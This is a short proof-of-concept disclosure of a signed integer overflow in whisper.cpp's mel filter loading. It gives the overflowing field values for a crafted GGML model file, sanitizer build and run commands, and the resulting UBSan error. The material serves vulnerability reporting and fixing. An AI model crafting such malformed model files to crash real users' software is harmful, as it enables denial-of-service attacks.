# PoC: Signed Integer Overflow in whisper.cpp Mel Filter Loading **Format:** GGML (.bin) **Target:** whisper.cpp (ggml-org/whisper.cpp) **CWE:** CWE-190 (Integer Overflow) ## Vulnerability Signed integer overflow in mel filter size calculation. `n_mel=0x7FFFFFFF * n_fft=2` overflows int32 → massive `vector::resize()` → crash. ## Reproduction ```bash git clone https://github.com/ggml-org/whisper.cpp && cd whisper.cpp mkdir build-asan && cd build-asan cmake .. -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \ -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" make -j$(nproc) ./bin/whisper-cli -m ../poc_mel_overflow.bin -f /dev/null ``` UBSan reports: `runtime error: signed integer overflow: 2147483647 * 2` **Tested:** whisper.cpp commit 364c77f4